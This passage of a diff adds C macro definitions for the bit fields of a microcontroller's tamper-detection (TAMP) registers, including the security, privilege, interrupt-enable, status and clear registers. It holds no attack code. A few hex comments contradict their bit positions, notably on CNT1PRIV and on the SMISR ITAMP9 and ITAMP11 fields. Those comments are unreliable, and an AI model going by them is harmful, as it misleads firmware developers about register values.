TAMP_SECCFGR_CNT1SEC_Pos) /*!< 0x00008000 */ +#define TAMP_SECCFGR_CNT1SEC TAMP_SECCFGR_CNT1SEC_Msk +#define TAMP_SECCFGR_BKPWSEC_Pos (16U) +#define TAMP_SECCFGR_BKPWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00FF0000 */ +#define TAMP_SECCFGR_BKPWSEC TAMP_SECCFGR_BKPWSEC_Msk +#define TAMP_SECCFGR_BKPWSEC_0 (0x1UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00010000 */ +#define TAMP_SECCFGR_BKPWSEC_1 (0x2UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00020000 */ +#define TAMP_SECCFGR_BKPWSEC_2 (0x4UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00040000 */ +#define TAMP_SECCFGR_BKPWSEC_3 (0x8UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00080000 */ +#define TAMP_SECCFGR_BKPWSEC_4 (0x10UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00100000 */ +#define TAMP_SECCFGR_BKPWSEC_5 (0x20UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00200000 */ +#define TAMP_SECCFGR_BKPWSEC_6 (0x40UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00400000 */ +#define TAMP_SECCFGR_BKPWSEC_7 (0x80UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00800000 */ +#define TAMP_SECCFGR_BHKLOCK_Pos (30U) +#define TAMP_SECCFGR_BHKLOCK_Msk (0x1UL << TAMP_SECCFGR_BHKLOCK_Pos) /*!< 0x40000000 */ +#define TAMP_SECCFGR_BHKLOCK TAMP_SECCFGR_BHKLOCK_Msk +#define TAMP_SECCFGR_TAMPSEC_Pos (31U) +#define TAMP_SECCFGR_TAMPSEC_Msk (0x1UL << TAMP_SECCFGR_TAMPSEC_Pos) /*!< 0x80000000 */ +#define TAMP_SECCFGR_TAMPSEC TAMP_SECCFGR_TAMPSEC_Msk + +/******************** Bits definition for TAMP_PRIVCFGR register ************/ +#define TAMP_PRIVCFGR_CNT1PRIV_Pos (15U) +#define TAMP_PRIVCFGR_CNT1PRIV_Msk (0x1UL << TAMP_PRIVCFGR_CNT1PRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_CNT1PRIV TAMP_PRIVCFGR_CNT1PRIV_Msk +#define TAMP_PRIVCFGR_BKPRWPRIV_Pos (29U) +#define TAMP_PRIVCFGR_BKPRWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPRWPRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_BKPRWPRIV TAMP_PRIVCFGR_BKPRWPRIV_Msk +#define TAMP_PRIVCFGR_BKPWPRIV_Pos (30U) +#define TAMP_PRIVCFGR_BKPWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPWPRIV_Pos) /*!< 0x40000000 */ +#define TAMP_PRIVCFGR_BKPWPRIV TAMP_PRIVCFGR_BKPWPRIV_Msk +#define TAMP_PRIVCFGR_TAMPPRIV_Pos (31U) +#define TAMP_PRIVCFGR_TAMPPRIV_Msk (0x1UL << TAMP_PRIVCFGR_TAMPPRIV_Pos) /*!< 0x80000000 */ +#define TAMP_PRIVCFGR_TAMPPRIV TAMP_PRIVCFGR_TAMPPRIV_Msk + +/******************** Bits definition for TAMP_IER register *****************/ +#define TAMP_IER_TAMP1IE_Pos (0U) +#define TAMP_IER_TAMP1IE_Msk (0x1UL << TAMP_IER_TAMP1IE_Pos) /*!< 0x00000001 */ +#define TAMP_IER_TAMP1IE TAMP_IER_TAMP1IE_Msk +#define TAMP_IER_TAMP2IE_Pos (1U) +#define TAMP_IER_TAMP2IE_Msk (0x1UL << TAMP_IER_TAMP2IE_Pos) /*!< 0x00000002 */ +#define TAMP_IER_TAMP2IE TAMP_IER_TAMP2IE_Msk +#define TAMP_IER_TAMP3IE_Pos (2U) +#define TAMP_IER_TAMP3IE_Msk (0x1UL << TAMP_IER_TAMP3IE_Pos) /*!< 0x00000004 */ +#define TAMP_IER_TAMP3IE TAMP_IER_TAMP3IE_Msk +#define TAMP_IER_TAMP4IE_Pos (3U) +#define TAMP_IER_TAMP4IE_Msk (0x1UL << TAMP_IER_TAMP4IE_Pos) /*!< 0x00000008 */ +#define TAMP_IER_TAMP4IE TAMP_IER_TAMP4IE_Msk +#define TAMP_IER_TAMP5IE_Pos (4U) +#define TAMP_IER_TAMP5IE_Msk (0x1UL << TAMP_IER_TAMP5IE_Pos) /*!< 0x00000010 */ +#define TAMP_IER_TAMP5IE TAMP_IER_TAMP5IE_Msk +#define TAMP_IER_TAMP6IE_Pos (5U) +#define TAMP_IER_TAMP6IE_Msk (0x1UL << TAMP_IER_TAMP6IE_Pos) /*!< 0x00000020 */ +#define TAMP_IER_TAMP6IE TAMP_IER_TAMP6IE_Msk +#define TAMP_IER_TAMP7IE_Pos (6U) +#define TAMP_IER_TAMP7IE_Msk (0x1UL << TAMP_IER_TAMP7IE_Pos) /*!< 0x00000040 */ +#define TAMP_IER_TAMP7IE TAMP_IER_TAMP7IE_Msk +#define TAMP_IER_TAMP8IE_Pos (7U) +#define TAMP_IER_TAMP8IE_Msk (0x1UL << TAMP_IER_TAMP8IE_Pos) /*!< 0x00000080 */ +#define TAMP_IER_TAMP8IE TAMP_IER_TAMP8IE_Msk +#define TAMP_IER_ITAMP1IE_Pos (16U) +#define TAMP_IER_ITAMP1IE_Msk (0x1UL << TAMP_IER_ITAMP1IE_Pos) /*!< 0x00010000 */ +#define TAMP_IER_ITAMP1IE TAMP_IER_ITAMP1IE_Msk +#define TAMP_IER_ITAMP2IE_Pos (17U) +#define TAMP_IER_ITAMP2IE_Msk (0x1UL << TAMP_IER_ITAMP2IE_Pos) /*!< 0x00020000 */ +#define TAMP_IER_ITAMP2IE TAMP_IER_ITAMP2IE_Msk +#define TAMP_IER_ITAMP3IE_Pos (18U) +#define TAMP_IER_ITAMP3IE_Msk (0x1UL << TAMP_IER_ITAMP3IE_Pos) /*!< 0x00040000 */ +#define TAMP_IER_ITAMP3IE TAMP_IER_ITAMP3IE_Msk +#define TAMP_IER_ITAMP4IE_Pos (19U) +#define TAMP_IER_ITAMP4IE_Msk (0x1UL << TAMP_IER_ITAMP4IE_Pos) /*!< 0x00080000 */ +#define TAMP_IER_ITAMP4IE TAMP_IER_ITAMP4IE_Msk +#define TAMP_IER_ITAMP5IE_Pos (20U) +#define TAMP_IER_ITAMP5IE_Msk (0x1UL << TAMP_IER_ITAMP5IE_Pos) /*!< 0x00100000 */ +#define TAMP_IER_ITAMP5IE TAMP_IER_ITAMP5IE_Msk +#define TAMP_IER_ITAMP6IE_Pos (21U) +#define TAMP_IER_ITAMP6IE_Msk (0x1UL << TAMP_IER_ITAMP6IE_Pos) /*!< 0x00200000 */ +#define TAMP_IER_ITAMP6IE TAMP_IER_ITAMP6IE_Msk +#define TAMP_IER_ITAMP7IE_Pos (22U) +#define TAMP_IER_ITAMP7IE_Msk (0x1UL << TAMP_IER_ITAMP7IE_Pos) /*!< 0x00400000 */ +#define TAMP_IER_ITAMP7IE TAMP_IER_ITAMP7IE_Msk +#define TAMP_IER_ITAMP8IE_Pos (23U) +#define TAMP_IER_ITAMP8IE_Msk (0x1UL << TAMP_IER_ITAMP8IE_Pos) /*!< 0x00800000 */ +#define TAMP_IER_ITAMP8IE TAMP_IER_ITAMP8IE_Msk +#define TAMP_IER_ITAMP9IE_Pos (24U) +#define TAMP_IER_ITAMP9IE_Msk (0x1UL << TAMP_IER_ITAMP9IE_Pos) /*!< 0x01000000 */ +#define TAMP_IER_ITAMP9IE TAMP_IER_ITAMP9IE_Msk +#define TAMP_IER_ITAMP11IE_Pos (26U) +#define TAMP_IER_ITAMP11IE_Msk (0x1UL << TAMP_IER_ITAMP11IE_Pos) /*!< 0x04000000 */ +#define TAMP_IER_ITAMP11IE TAMP_IER_ITAMP11IE_Msk +#define TAMP_IER_ITAMP12IE_Pos (27U) +#define TAMP_IER_ITAMP12IE_Msk (0x1UL << TAMP_IER_ITAMP12IE_Pos) /*!< 0x08000000 */ +#define TAMP_IER_ITAMP12IE TAMP_IER_ITAMP12IE_Msk +#define TAMP_IER_ITAMP13IE_Pos (28U) +#define TAMP_IER_ITAMP13IE_Msk (0x1UL << TAMP_IER_ITAMP13IE_Pos) /*!< 0x10000000 */ +#define TAMP_IER_ITAMP13IE TAMP_IER_ITAMP13IE_Msk +#define TAMP_IER_ITAMP15IE_Pos (30U) +#define TAMP_IER_ITAMP15IE_Msk (0x1UL << TAMP_IER_ITAMP15IE_Pos) /*!< 0x40000000 */ +#define TAMP_IER_ITAMP15IE TAMP_IER_ITAMP15IE_Msk + +/******************** Bits definition for TAMP_SR register *****************/ +#define TAMP_SR_TAMP1F_Pos (0U) +#define TAMP_SR_TAMP1F_Msk (0x1UL << TAMP_SR_TAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SR_TAMP1F TAMP_SR_TAMP1F_Msk +#define TAMP_SR_TAMP2F_Pos (1U) +#define TAMP_SR_TAMP2F_Msk (0x1UL << TAMP_SR_TAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SR_TAMP2F TAMP_SR_TAMP2F_Msk +#define TAMP_SR_TAMP3F_Pos (2U) +#define TAMP_SR_TAMP3F_Msk (0x1UL << TAMP_SR_TAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SR_TAMP3F TAMP_SR_TAMP3F_Msk +#define TAMP_SR_TAMP4F_Pos (3U) +#define TAMP_SR_TAMP4F_Msk (0x1UL << TAMP_SR_TAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SR_TAMP4F TAMP_SR_TAMP4F_Msk +#define TAMP_SR_TAMP5F_Pos (4U) +#define TAMP_SR_TAMP5F_Msk (0x1UL << TAMP_SR_TAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SR_TAMP5F TAMP_SR_TAMP5F_Msk +#define TAMP_SR_TAMP6F_Pos (5U) +#define TAMP_SR_TAMP6F_Msk (0x1UL << TAMP_SR_TAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SR_TAMP6F TAMP_SR_TAMP6F_Msk +#define TAMP_SR_TAMP7F_Pos (6U) +#define TAMP_SR_TAMP7F_Msk (0x1UL << TAMP_SR_TAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SR_TAMP7F TAMP_SR_TAMP7F_Msk +#define TAMP_SR_TAMP8F_Pos (7U) +#define TAMP_SR_TAMP8F_Msk (0x1UL << TAMP_SR_TAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SR_TAMP8F TAMP_SR_TAMP8F_Msk +#define TAMP_SR_ITAMP1F_Pos (16U) +#define TAMP_SR_ITAMP1F_Msk (0x1UL << TAMP_SR_ITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP1F TAMP_SR_ITAMP1F_Msk +#define TAMP_SR_ITAMP2F_Pos (17U) +#define TAMP_SR_ITAMP2F_Msk (0x1UL << TAMP_SR_ITAMP2F_Pos) /*!< 0x00020000 */ +#define TAMP_SR_ITAMP2F TAMP_SR_ITAMP2F_Msk +#define TAMP_SR_ITAMP3F_Pos (18U) +#define TAMP_SR_ITAMP3F_Msk (0x1UL << TAMP_SR_ITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SR_ITAMP3F TAMP_SR_ITAMP3F_Msk +#define TAMP_SR_ITAMP4F_Pos (19U) +#define TAMP_SR_ITAMP4F_Msk (0x1UL << TAMP_SR_ITAMP4F_Pos) /*!< 0x00080000 */ +#define TAMP_SR_ITAMP4F TAMP_SR_ITAMP4F_Msk +#define TAMP_SR_ITAMP5F_Pos (20U) +#define TAMP_SR_ITAMP5F_Msk (0x1UL << TAMP_SR_ITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SR_ITAMP5F TAMP_SR_ITAMP5F_Msk +#define TAMP_SR_ITAMP6F_Pos (21U) +#define TAMP_SR_ITAMP6F_Msk (0x1UL << TAMP_SR_ITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SR_ITAMP6F TAMP_SR_ITAMP6F_Msk +#define TAMP_SR_ITAMP7F_Pos (22U) +#define TAMP_SR_ITAMP7F_Msk (0x1UL << TAMP_SR_ITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SR_ITAMP7F TAMP_SR_ITAMP7F_Msk +#define TAMP_SR_ITAMP8F_Pos (23U) +#define TAMP_SR_ITAMP8F_Msk (0x1UL << TAMP_SR_ITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SR_ITAMP8F TAMP_SR_ITAMP8F_Msk +#define TAMP_SR_ITAMP9F_Pos (24U) +#define TAMP_SR_ITAMP9F_Msk (0x1UL << TAMP_SR_ITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SR_ITAMP9F TAMP_SR_ITAMP9F_Msk +#define TAMP_SR_ITAMP11F_Pos (26U) +#define TAMP_SR_ITAMP11F_Msk (0x1UL << TAMP_SR_ITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SR_ITAMP11F TAMP_SR_ITAMP11F_Msk +#define TAMP_SR_ITAMP12F_Pos (27U) +#define TAMP_SR_ITAMP12F_Msk (0x1UL << TAMP_SR_ITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SR_ITAMP12F TAMP_SR_ITAMP12F_Msk +#define TAMP_SR_ITAMP13F_Pos (28U) +#define TAMP_SR_ITAMP13F_Msk (0x1UL << TAMP_SR_ITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SR_ITAMP13F TAMP_SR_ITAMP13F_Msk +#define TAMP_SR_ITAMP15F_Pos (30U) +#define TAMP_SR_ITAMP15F_Msk (0x1UL << TAMP_SR_ITAMP15F_Pos) /*!< 0x40000000 */ +#define TAMP_SR_ITAMP15F TAMP_SR_ITAMP15F_Msk + +/******************** Bits definition for TAMP_MISR register ****************/ +#define TAMP_MISR_TAMP1MF_Pos (0U) +#define TAMP_MISR_TAMP1MF_Msk (0x1UL << TAMP_MISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_MISR_TAMP1MF TAMP_MISR_TAMP1MF_Msk +#define TAMP_MISR_TAMP2MF_Pos (1U) +#define TAMP_MISR_TAMP2MF_Msk (0x1UL << TAMP_MISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_MISR_TAMP2MF TAMP_MISR_TAMP2MF_Msk +#define TAMP_MISR_TAMP3MF_Pos (2U) +#define TAMP_MISR_TAMP3MF_Msk (0x1UL << TAMP_MISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_MISR_TAMP3MF TAMP_MISR_TAMP3MF_Msk +#define TAMP_MISR_TAMP4MF_Pos (3U) +#define TAMP_MISR_TAMP4MF_Msk (0x1UL << TAMP_MISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_MISR_TAMP4MF TAMP_MISR_TAMP4MF_Msk +#define TAMP_MISR_TAMP5MF_Pos (4U) +#define TAMP_MISR_TAMP5MF_Msk (0x1UL << TAMP_MISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_MISR_TAMP5MF TAMP_MISR_TAMP5MF_Msk +#define TAMP_MISR_TAMP6MF_Pos (5U) +#define TAMP_MISR_TAMP6MF_Msk (0x1UL << TAMP_MISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_MISR_TAMP6MF TAMP_MISR_TAMP6MF_Msk +#define TAMP_MISR_TAMP7MF_Pos (6U) +#define TAMP_MISR_TAMP7MF_Msk (0x1UL << TAMP_MISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_MISR_TAMP7MF TAMP_MISR_TAMP7MF_Msk +#define TAMP_MISR_TAMP8MF_Pos (7U) +#define TAMP_MISR_TAMP8MF_Msk (0x1UL << TAMP_MISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_MISR_TAMP8MF TAMP_MISR_TAMP8MF_Msk +#define TAMP_MISR_ITAMP1MF_Pos (16U) +#define TAMP_MISR_ITAMP1MF_Msk (0x1UL << TAMP_MISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP1MF TAMP_MISR_ITAMP1MF_Msk +#define TAMP_MISR_ITAMP2MF_Pos (17U) +#define TAMP_MISR_ITAMP2MF_Msk (0x1UL << TAMP_MISR_ITAMP2MF_Pos) /*!< 0x00020000 */ +#define TAMP_MISR_ITAMP2MF TAMP_MISR_ITAMP2MF_Msk +#define TAMP_MISR_ITAMP3MF_Pos (18U) +#define TAMP_MISR_ITAMP3MF_Msk (0x1UL << TAMP_MISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_MISR_ITAMP3MF TAMP_MISR_ITAMP3MF_Msk +#define TAMP_MISR_ITAMP4MF_Pos (19U) +#define TAMP_MISR_ITAMP4MF_Msk (0x1UL << TAMP_MISR_ITAMP4MF_Pos) /*!< 0x00080000 */ +#define TAMP_MISR_ITAMP4MF TAMP_MISR_ITAMP4MF_Msk +#define TAMP_MISR_ITAMP5MF_Pos (20U) +#define TAMP_MISR_ITAMP5MF_Msk (0x1UL << TAMP_MISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_MISR_ITAMP5MF TAMP_MISR_ITAMP5MF_Msk +#define TAMP_MISR_ITAMP6MF_Pos (21U) +#define TAMP_MISR_ITAMP6MF_Msk (0x1UL << TAMP_MISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_MISR_ITAMP6MF TAMP_MISR_ITAMP6MF_Msk +#define TAMP_MISR_ITAMP7MF_Pos (22U) +#define TAMP_MISR_ITAMP7MF_Msk (0x1UL << TAMP_MISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_MISR_ITAMP7MF TAMP_MISR_ITAMP7MF_Msk +#define TAMP_MISR_ITAMP8MF_Pos (23U) +#define TAMP_MISR_ITAMP8MF_Msk (0x1UL << TAMP_MISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_MISR_ITAMP8MF TAMP_MISR_ITAMP8MF_Msk +#define TAMP_MISR_ITAMP9MF_Pos (24U) +#define TAMP_MISR_ITAMP9MF_Msk (0x1UL << TAMP_MISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_MISR_ITAMP9MF TAMP_MISR_ITAMP9MF_Msk +#define TAMP_MISR_ITAMP11MF_Pos (26U) +#define TAMP_MISR_ITAMP11MF_Msk (0x1UL << TAMP_MISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_MISR_ITAMP11MF TAMP_MISR_ITAMP11MF_Msk +#define TAMP_MISR_ITAMP12MF_Pos (27U) +#define TAMP_MISR_ITAMP12MF_Msk (0x1UL << TAMP_MISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_MISR_ITAMP12MF TAMP_MISR_ITAMP12MF_Msk +#define TAMP_MISR_ITAMP13MF_Pos (28U) +#define TAMP_MISR_ITAMP13MF_Msk (0x1UL << TAMP_MISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_MISR_ITAMP13MF TAMP_MISR_ITAMP13MF_Msk +#define TAMP_MISR_ITAMP15MF_Pos (30U) +#define TAMP_MISR_ITAMP15MF_Msk (0x1UL << TAMP_MISR_ITAMP15MF_Pos) /*!< 0x40000000 */ +#define TAMP_MISR_ITAMP15MF TAMP_MISR_ITAMP15MF_Msk + +/******************** Bits definition for TAMP_SMISR register ************ *****/ +#define TAMP_SMISR_TAMP1MF_Pos (0U) +#define TAMP_SMISR_TAMP1MF_Msk (0x1UL << TAMP_SMISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_SMISR_TAMP1MF TAMP_SMISR_TAMP1MF_Msk +#define TAMP_SMISR_TAMP2MF_Pos (1U) +#define TAMP_SMISR_TAMP2MF_Msk (0x1UL << TAMP_SMISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_SMISR_TAMP2MF TAMP_SMISR_TAMP2MF_Msk +#define TAMP_SMISR_TAMP3MF_Pos (2U) +#define TAMP_SMISR_TAMP3MF_Msk (0x1UL << TAMP_SMISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_SMISR_TAMP3MF TAMP_SMISR_TAMP3MF_Msk +#define TAMP_SMISR_TAMP4MF_Pos (3U) +#define TAMP_SMISR_TAMP4MF_Msk (0x1UL << TAMP_SMISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_SMISR_TAMP4MF TAMP_SMISR_TAMP4MF_Msk +#define TAMP_SMISR_TAMP5MF_Pos (4U) +#define TAMP_SMISR_TAMP5MF_Msk (0x1UL << TAMP_SMISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_SMISR_TAMP5MF TAMP_SMISR_TAMP5MF_Msk +#define TAMP_SMISR_TAMP6MF_Pos (5U) +#define TAMP_SMISR_TAMP6MF_Msk (0x1UL << TAMP_SMISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_SMISR_TAMP6MF TAMP_SMISR_TAMP6MF_Msk +#define TAMP_SMISR_TAMP7MF_Pos (6U) +#define TAMP_SMISR_TAMP7MF_Msk (0x1UL << TAMP_SMISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_SMISR_TAMP7MF TAMP_SMISR_TAMP7MF_Msk +#define TAMP_SMISR_TAMP8MF_Pos (7U) +#define TAMP_SMISR_TAMP8MF_Msk (0x1UL << TAMP_SMISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_SMISR_TAMP8MF TAMP_SMISR_TAMP8MF_Msk +#define TAMP_SMISR_ITAMP1MF_Pos (16U) +#define TAMP_SMISR_ITAMP1MF_Msk (0x1UL << TAMP_SMISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_SMISR_ITAMP1MF TAMP_SMISR_ITAMP1MF_Msk +#define TAMP_SMISR_ITAMP2MF_Pos (17U) +#define TAMP_SMISR_ITAMP2MF_Msk (0x1UL << TAMP_SMISR_ITAMP2MF_Pos) /*!< 0x00020000 */ +#define TAMP_SMISR_ITAMP2MF TAMP_SMISR_ITAMP2MF_Msk +#define TAMP_SMISR_ITAMP3MF_Pos (18U) +#define TAMP_SMISR_ITAMP3MF_Msk (0x1UL << TAMP_SMISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_SMISR_ITAMP3MF TAMP_SMISR_ITAMP3MF_Msk +#define TAMP_SMISR_ITAMP4MF_Pos (19U) +#define TAMP_SMISR_ITAMP4MF_Msk (0x1UL << TAMP_SMISR_ITAMP4MF_Pos) /*!< 0x00080000 */ +#define TAMP_SMISR_ITAMP4MF TAMP_SMISR_ITAMP4MF_Msk +#define TAMP_SMISR_ITAMP5MF_Pos (20U) +#define TAMP_SMISR_ITAMP5MF_Msk (0x1UL << TAMP_SMISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_SMISR_ITAMP5MF TAMP_SMISR_ITAMP5MF_Msk +#define TAMP_SMISR_ITAMP6MF_Pos (21U) +#define TAMP_SMISR_ITAMP6MF_Msk (0x1UL << TAMP_SMISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_SMISR_ITAMP6MF TAMP_SMISR_ITAMP6MF_Msk +#define TAMP_SMISR_ITAMP7MF_Pos (22U) +#define TAMP_SMISR_ITAMP7MF_Msk (0x1UL << TAMP_SMISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_SMISR_ITAMP7MF TAMP_SMISR_ITAMP7MF_Msk +#define TAMP_SMISR_ITAMP8MF_Pos (23U) +#define TAMP_SMISR_ITAMP8MF_Msk (0x1UL << TAMP_SMISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_SMISR_ITAMP8MF TAMP_SMISR_ITAMP8MF_Msk +#define TAMP_SMISR_ITAMP9MF_Pos (24U) +#define TAMP_SMISR_ITAMP9MF_Msk (0x1UL << TAMP_SMISR_ITAMP9MF_Pos) /*!< 0x00100000 */ +#define TAMP_SMISR_ITAMP9MF TAMP_SMISR_ITAMP9MF_Msk +#define TAMP_SMISR_ITAMP11MF_Pos (26U) +#define TAMP_SMISR_ITAMP11MF_Msk (0x1UL << TAMP_SMISR_ITAMP11MF_Pos) /*!< 0x00400000 */ +#define TAMP_SMISR_ITAMP11MF TAMP_SMISR_ITAMP11MF_Msk +#define TAMP_SMISR_ITAMP12MF_Pos (27U) +#define TAMP_SMISR_ITAMP12MF_Msk (0x1UL << TAMP_SMISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_SMISR_ITAMP12MF TAMP_SMISR_ITAMP12MF_Msk +#define TAMP_SMISR_ITAMP13MF_Pos (28U) +#define TAMP_SMISR_ITAMP13MF_Msk (0x1UL << TAMP_SMISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_SMISR_ITAMP13MF TAMP_SMISR_ITAMP13MF_Msk +#define TAMP_SMISR_ITAMP15MF_Pos (30U) +#define TAMP_SMISR_ITAMP15MF_Msk (0x1UL << TAMP_SMISR_ITAMP15MF_Pos) /*!< 0x40000000 */ +#define TAMP_SMISR_ITAMP15MF TAMP_SMISR_ITAMP15MF_Msk + +/******************** Bits definition for TAMP_SCR register *****************/ +#define TAMP_SCR_CTAMP1F_Pos (0U) +#define TAMP_SCR_CTAMP1F_Msk (0x1UL << TAMP_SCR_CTAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SCR_CTAMP1F TAMP_SCR_CTAMP1F_Msk +#define TAMP_SCR_CTAMP2F_Pos (1U) +#define TAMP_SCR_CTAMP2F_Msk (0x1UL << TAMP_SCR_CTAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SCR_CTAMP2F TAMP_SCR_CTAMP2F_Msk +#define TAMP_SCR_CTAMP3F_Pos (2U) +#define TAMP_SCR_CTAMP3F_Msk (0x1UL << TAMP_SCR_CTAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SCR_CTAMP3F TAMP_SCR_CTAMP3F_Msk +#define TAMP_SCR_CTAMP4F_Pos (3U) +#define TAMP_SCR_CTAMP4F_Msk (0x1UL << TAMP_SCR_CTAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SCR_CTAMP4F TAMP_SCR_CTAMP4F_Msk +#define TAMP_SCR_CTAMP5F_Pos (4U) +#define TAMP_SCR_CTAMP5F_Msk (0x1UL << TAMP_SCR_CTAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SCR_CTAMP5F TAMP_SCR_CTAMP5F_Msk +#define TAMP_SCR_CTAMP6F_Pos (5U) +#define TAMP_SCR_CTAMP6F_Msk (0x1UL << TAMP_SCR_CTAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SCR_CTAMP6F TAMP_SCR_CTAMP6F_Msk +#define TAMP_SCR_CTAMP7F_Pos (6U) +#define TAMP_SCR_CTAMP7F_Msk (0x1UL << TAMP_SCR_CTAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SCR_CTAMP7F TAMP_SCR_CTAMP7F_Msk +#define TAMP_SCR_CTAMP8F_Pos (7U) +#define TAMP_SCR_CTAMP8F_Msk (0x1UL << TAMP_SCR_CTAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SCR_CTAMP8F TAMP_SCR_CTAMP8F_Msk +#define TAMP_SCR_CITAMP1F_Pos (16U) +#define TAMP_SCR_CITAMP1F_Msk (0x1UL << TAMP_SCR_CITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP1F TAMP_SCR_CITAMP1F_Msk +#define TAMP_SCR_CITAMP2F_Pos (17U) +#define TAMP_SCR_CITAMP2F_Msk (0x1UL << TAMP_SCR_CITAMP2F_Pos) /*!< 0x00020000 */ +#define TAMP_SCR_CITAMP2F TAMP_SCR_CITAMP2F_Msk +#define TAMP_SCR_CITAMP3F_Pos (18U) +#define TAMP_SCR_CITAMP3F_Msk (0x1UL << TAMP_SCR_CITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SCR_CITAMP3F TAMP_SCR_CITAMP3F_Msk +#define TAMP_SCR_CITAMP4F_Pos (19U) +#define TAMP_SCR_CITAMP4F_Msk (0x1UL << TAMP_SCR_CITAMP4F_Pos) /*!< 0x00080000 */ +#define TAMP_SCR_CITAMP4F TAMP_SCR_CITAMP4F_Msk +#define TAMP_SCR_CITAMP5F_Pos (20U) +#define TAMP_SCR_CITAMP5F_Msk (0x1UL << TAMP_SCR_CITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SCR_CITAMP5F TAMP_SCR_CITAMP5F_Msk +#define TAMP_SCR_CITAMP6F_Pos (21U) +#define TAMP_SCR_CITAMP6F_Msk (0x1UL << TAMP_SCR_CITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SCR_CITAMP6F TAMP_SCR_CITAMP6F_Msk +#define TAMP_SCR_CITAMP7F_Pos (22U) +#define TAMP_SCR_CITAMP7F_Msk (0x1UL << TAMP_SCR_CITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SCR_CITAMP7F TAMP_SCR_CITAMP7F_Msk +#define TAMP_SCR_CITAMP8F_Pos (23U) +#define TAMP_SCR_CITAMP8F_Msk (0x1UL << TAMP_SCR_CITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SCR_CITAMP8F TAMP_SCR_CITAMP8F_Msk +#define TAMP_SCR_CITAMP9F_Pos (24U) +#define TAMP_SCR_CITAMP9F_Msk (0x1UL << 